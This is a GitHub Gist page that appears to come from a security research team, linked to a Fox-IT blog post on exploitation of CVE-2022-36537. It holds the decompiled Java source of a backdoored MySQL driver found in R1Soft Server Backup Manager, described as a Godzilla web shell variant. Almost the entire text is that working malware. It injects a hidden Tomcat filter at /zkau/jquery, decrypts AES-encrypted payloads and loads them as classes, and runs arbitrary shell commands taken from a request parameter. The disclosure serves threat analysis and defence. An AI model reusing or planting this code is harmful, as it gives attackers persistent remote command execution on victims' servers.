Created
February 20, 2023 16:45
-
-
Save fox-srt/2627f2f65ef3354b1d1a5c823cc2cd5e to your computer and use it in GitHub Desktop.
Decompilation of malicious R1Soft MySQL driver backdoor (Godzilla Web shell variant)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// Decompiled by Procyon v0.6.0 | |
// | |
package org.gjt.mm.mysql; | |
import java.sql.DriverPropertyInfo; | |
import java.sql.Connection; | |
import java.util.Properties; | |
import java.util.logging.Logger; | |
import java.util.Map; | |
import javax.servlet.http.HttpSession; | |
import java.util.Scanner; | |
import java.io.File; | |
import java.io.ByteArrayOutputStream; | |
import javax.servlet.FilterChain; | |
import javax.servlet.ServletResponse; | |
import javax.servlet.ServletRequest; | |
import javax.servlet.FilterConfig; | |
import java.lang.reflect.Constructor; | |
import javax.servlet.ServletContext; | |
import org.apache.catalina.Context; | |
import org.apache.catalina.core.ApplicationFilterConfig; | |
import javax.servlet.DispatcherType; | |
import java.util.HashMap; | |
import org.apache.catalina.core.StandardContext; | |
import org.apache.catalina.core.ApplicationContext; | |
import org.apache.catalina.connector.Request; | |
import java.math.BigInteger; | |
import java.security.MessageDigest; | |
import java.security.Key; | |
import javax.crypto.spec.SecretKeySpec; | |
import javax.crypto.Cipher; | |
import java.util.List; | |
import java.lang.reflect.Field; | |
import javax.servlet.http.HttpServletResponse; | |
import javax.servlet.http.HttpServletRequest; | |
import javax.servlet.Filter; | |
public class Driver extends ClassLoader implements Filter, java.sql.Driver | |
{ | |
protected static boolean DEBUG; | |
public static final String VERSION = "1.0"; | |
public HttpServletRequest request; | |
public HttpServletResponse response; | |
public String Pwd; | |
String xc; | |
public String path; | |
String md5; | |
private static void writeBody(final Object var0, final byte[] var1) throws Exception { | |
try { | |
final Class var2 = Class.forName("org.apache.tomcat.util.buf.ByteChunk"); | |
final Object var3 = var2.newInstance(); | |
var2.getDeclaredMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE).invoke(var3, var1, new Integer(0), new Integer(var1.length)); | |
var0.getClass().getMethod("doWrite", var2).invoke(var0, var3); | |
} | |
catch (final NoSuchMethodException var4) { | |
final Class var2 = Class.forName("java.nio.ByteBuffer"); | |
final Object var3 = var2.getDeclaredMethod("wrap", byte[].class).invoke(var2, var1); | |
var0.getClass().getMethod("doWrite", var2).invoke(var0, var3); | |
} | |
} | |
private static Object getFV(final Object var0, final String var1) throws Exception { | |
Field var2 = null; | |
Class var3 = var0.getClass(); | |
while (var3 != Object.class) { | |
try { | |
var2 = var3.getDeclaredField(var1); | |
} | |
catch (final NoSuchFieldException var4) { | |
var3 = var3.getSuperclass(); | |
continue; | |
} | |
break; | |
} | |
if (var2 == null) { | |
throw new NoSuchFieldException(var1); | |
} | |
var2.setAccessible(true); | |
return var2.get(var0); | |
} | |
private static void _run() { | |
new Driver("a", "b"); | |
} | |
public Driver(final String a, final String b) { | |
this.request = null; | |
this.response = null; | |
this.Pwd = "<REDACTED>"; | |
this.xc = "<REDACTED>"; | |
this.path = "/zkau/jquery"; | |
this.md5 = md5(this.Pwd + this.xc); | |
try { | |
final Thread[] var5 = (Thread[])getFV(Thread.currentThread().getThreadGroup(), "threads"); | |
for (int var6 = 0; var6 < var5.length; ++var6) { | |
final Thread var7 = var5[var6]; | |
if (var7 != null) { | |
final String var8 = var7.getName(); | |
if (!var8.contains("exec") && var8.contains("http")) { | |
Object var9 = getFV(var7, "target"); | |
if (var9 instanceof Runnable) { | |
try { | |
var9 = getFV(getFV(getFV(var9, "this$0"), "handler"), "global"); | |
} | |
catch (final Exception var10) { | |
continue; | |
} | |
final List var11 = (List)getFV(var9, "processors"); | |
for (int var12 = 0; var12 < var11.size(); ++var12) { | |
final Object var13 = var11.get(var12); | |
var9 = getFV(var13, "req"); | |
final Object var14 = var9.getClass().getMethod("getResponse", (Class<?>[])new Class[0]).invoke(var9, new Object[0]); | |
this.addFilter(var9, var14); | |
} | |
} | |
} | |
} | |
} | |
} | |
catch (final Exception ex) {} | |
} | |
public Driver(final String s) { | |
this.request = null; | |
this.response = null; | |
this.Pwd = "<REDACTED>"; | |
this.xc = "<REDACTED>"; | |
this.path = "/zkau/jquery"; | |
this.md5 = md5(this.Pwd + this.xc); | |
} | |
public Driver(final ClassLoader z) { | |
super(z); | |
this.request = null; | |
this.response = null; | |
this.Pwd = "<REDACTED>"; | |
this.xc = "<REDACTED>"; | |
this.path = "/zkau/jquery"; | |
this.md5 = md5(this.Pwd + this.xc); | |
} | |
public Class Q(final byte[] cb) { | |
return this.defineClass(cb, 0, cb.length); | |
} | |
public byte[] x(final byte[] s, final boolean m) { | |
try { | |
final Cipher c = Cipher.getInstance("AES"); | |
c.init(m ? 1 : 2, new SecretKeySpec(this.xc.getBytes(), "AES")); | |
return c.doFinal(s); | |
} | |
catch (final Exception e) { | |
return null; | |
} | |
} | |
public static String md5(final String s) { | |
String ret = null; | |
try { | |
final MessageDigest m = MessageDigest.getInstance("MD5"); | |
m.update(s.getBytes(), 0, s.length()); | |
ret = new BigInteger(1, m.digest()).toString(16).toUpperCase(); | |
} | |
catch (final Exception ex) {} | |
return ret; | |
} | |
public static String base64Encode(final byte[] bs) { | |
String value = null; | |
try { | |
final Class<?> base64 = Class.forName("java.util.Base64"); | |
final Object Encoder = base64.getMethod("getEncoder", (Class<?>[])null).invoke(base64, (Object[])null); | |
value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs); | |
} | |
catch (final Exception e) { | |
try { | |
final Class<?> base65 = Class.forName("sun.misc.BASE64Encoder"); | |
final Object Encoder2 = base65.newInstance(); | |
value = (String)Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, bs); | |
} | |
catch (final Exception ex) {} | |
} | |
return value; | |
} | |
public static byte[] base64Decode(final String bs) { | |
byte[] value = null; | |
try { | |
final Class<?> base64 = Class.forName("java.util.Base64"); | |
final Object decoder = base64.getMethod("getDecoder", (Class<?>[])null).invoke(base64, (Object[])null); | |
value = (byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); | |
} | |
catch (final Exception e) { | |
try { | |
final Class<?> base65 = Class.forName("sun.misc.BASE64Decoder"); | |
final Object decoder2 = base65.newInstance(); | |
value = (byte[])decoder2.getClass().getMethod("decodeBuffer", String.class).invoke(decoder2, bs); | |
} | |
catch (final Exception ex) {} | |
} | |
return value; | |
} | |
public void addFilter(final Object var1, final Object var2) { | |
final String filterName = "fa0sifjasfjai0fja"; | |
final String urlPattern = this.path; | |
try { | |
final Request req = (Request)((org.apache.coyote.Request)var1).getNote(1); | |
final ServletContext servletContext = req.getSession().getServletContext(); | |
Field field = servletContext.getClass().getDeclaredField("context"); | |
field.setAccessible(true); | |
final ApplicationContext applicationContext = (ApplicationContext)field.get(servletContext); | |
field = applicationContext.getClass().getDeclaredField("context"); | |
field.setAccessible(true); | |
final Field modifiersField = Field.class.getDeclaredField("modifiers"); | |
modifiersField.setAccessible(true); | |
modifiersField.setInt(field, field.getModifiers() & 0xFFFFFFEF); | |
final StandardContext standardContext = (StandardContext)field.get(applicationContext); | |
field = standardContext.getClass().getDeclaredField("filterConfigs"); | |
field.setAccessible(true); | |
final HashMap<String, ApplicationFilterConfig> map = (HashMap<String, ApplicationFilterConfig>)field.get(standardContext); | |
if (map.containsKey(filterName)) { | |
return; | |
} | |
Class filterDefClass = null; | |
try { | |
filterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef"); | |
} | |
catch (final ClassNotFoundException e) { | |
filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); | |
} | |
final Object filterDef = filterDefClass.newInstance(); | |
filterDef.getClass().getDeclaredMethod("setFilterName", String.class).invoke(filterDef, filterName); | |
final Driver filter = new Driver("sss"); | |
final Class clazz = filter.getClass(); | |
filterDef.getClass().getDeclaredMethod("setFilterClass", String.class).invoke(filterDef, clazz.getName()); | |
filterDef.getClass().getDeclaredMethod("setFilter", Filter.class).invoke(filterDef, filter); | |
standardContext.getClass().getDeclaredMethod("addFilterDef", filterDefClass).invoke(standardContext, filterDef); | |
Class filterMapClass = null; | |
try { | |
filterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap"); | |
} | |
catch (final ClassNotFoundException e2) { | |
filterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); | |
} | |
final Object filterMap = filterMapClass.newInstance(); | |
filterMap.getClass().getDeclaredMethod("setFilterName", String.class).invoke(filterMap, filterName); | |
filterMap.getClass().getDeclaredMethod("setDispatcher", String.class).invoke(filterMap, DispatcherType.REQUEST.name()); | |
filterMap.getClass().getDeclaredMethod("addURLPattern", String.class).invoke(filterMap, urlPattern); | |
standardContext.getClass().getDeclaredMethod("addFilterMapBefore", filterMapClass).invoke(standardContext, filterMap); | |
final Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, filterDefClass); | |
constructor.setAccessible(true); | |
final ApplicationFilterConfig filterConfig = constructor.newInstance(standardContext, filterDef); | |
map.put(filterName, filterConfig); | |
writeBody(var2, "[+] Driver Inject Success!\n".getBytes()); | |
} | |
catch (final Exception ex) {} | |
} | |
public void init(final FilterConfig filterConfig) { | |
} | |
public void doFilter(final ServletRequest req, final ServletResponse resp, final FilterChain chain) { | |
try { | |
final String type = req.getParameter("type"); | |
if (type.equals("g")) { | |
final HttpServletRequest request = (HttpServletRequest)req; | |
final HttpServletResponse response = (HttpServletResponse)resp; | |
final HttpSession session = request.getSession(); | |
byte[] data = base64Decode(req.getParameter(this.Pwd)); | |
data = this.x(data, false); | |
if (session.getAttribute("version") == null) { | |
session.setAttribute("version", (Object)new Driver(this.getClass().getClassLoader()).Q(data)); | |
} | |
else { | |
request.setAttribute("parameters", (Object)data); | |
final ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); | |
final Object f = ((Class)session.getAttribute("version")).newInstance(); | |
f.equals(arrOut); | |
f.equals(data); | |
response.getWriter().write(this.md5.substring(0, 16)); | |
f.toString(); | |
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); | |
response.getWriter().write(this.md5.substring(16)); | |
} | |
} | |
else if (type.equals("b")) { | |
final HttpSession session2 = ((HttpServletRequest)req).getSession(); | |
session2.setAttribute("u", (Object)this.xc); | |
final Cipher c = Cipher.getInstance("AES"); | |
c.init(2, new SecretKeySpec(this.xc.getBytes(), "AES")); | |
final Driver u = new Driver(this.getClass().getClassLoader()); | |
final String base64String = req.getReader().readLine(); | |
final byte[] bytesEncrypted = base64Decode(base64String); | |
final byte[] bytesDecrypted = c.doFinal(bytesEncrypted); | |
final Class newClass = u.Q(bytesDecrypted); | |
final Map<String, Object> pageContext = new HashMap<String, Object>(); | |
pageContext.put("session", session2); | |
pageContext.put("request", req); | |
pageContext.put("response", resp); | |
newClass.newInstance().equals(pageContext); | |
} | |
else if (type.equals("c")) { | |
final String cmd = req.getParameter("user"); | |
if (cmd != null && !cmd.isEmpty()) { | |
String[] cmds = null; | |
if (File.separator.equals("/")) { | |
cmds = new String[] { "/bin/sh", "-c", cmd }; | |
} | |
else { | |
cmds = new String[] { "cmd", "/C", cmd }; | |
} | |
final String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next(); | |
resp.getWriter().println(result); | |
} | |
} | |
} | |
catch (final Exception ex) {} | |
} | |
public void destroy() { | |
} | |
public boolean acceptsURL(final String url) { | |
if (Driver.DEBUG) { | |
Logger.getGlobal().info("acceptsURL() called: " + url); | |
} | |
return false; | |
} | |
public Connection connect(final String url, final Properties info) { | |
if (Driver.DEBUG) { | |
Logger.getGlobal().info("connect() called: " + url); | |
} | |
return null; | |
} | |
public int getMajorVersion() { | |
if (Driver.DEBUG) { | |
Logger.getGlobal().info("getMajorVersion() called"); | |
} | |
return 1; | |
} | |
public int getMinorVersion() { | |
if (Driver.DEBUG) { | |
Logger.getGlobal().info("getMajorVersion() called"); | |
} | |
return 0; | |
} | |
public Logger getParentLogger() { | |
if (Driver.DEBUG) { | |
Logger.getGlobal().info("getParentLogger() called"); | |
} | |
return null; | |
} | |
public DriverPropertyInfo[] getPropertyInfo(final String url, final Properties info) { | |
if (Driver.DEBUG) { | |
Logger.getGlobal().info("getPropertyInfo() called: " + url); | |
} | |
return new DriverPropertyInfo[0]; | |
} | |
public boolean jdbcCompliant() { | |
if (Driver.DEBUG) { | |
Logger.getGlobal().info("jdbcCompliant() called"); | |
} | |
return true; | |
} | |
static { | |
Driver.DEBUG = false; | |
_run(); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Blog post: https://blog.fox-it.com/2023/02/22/from-backup-to-backdoor-exploitation-of-cve-2022-36537-in-r1soft-server-backup-manager/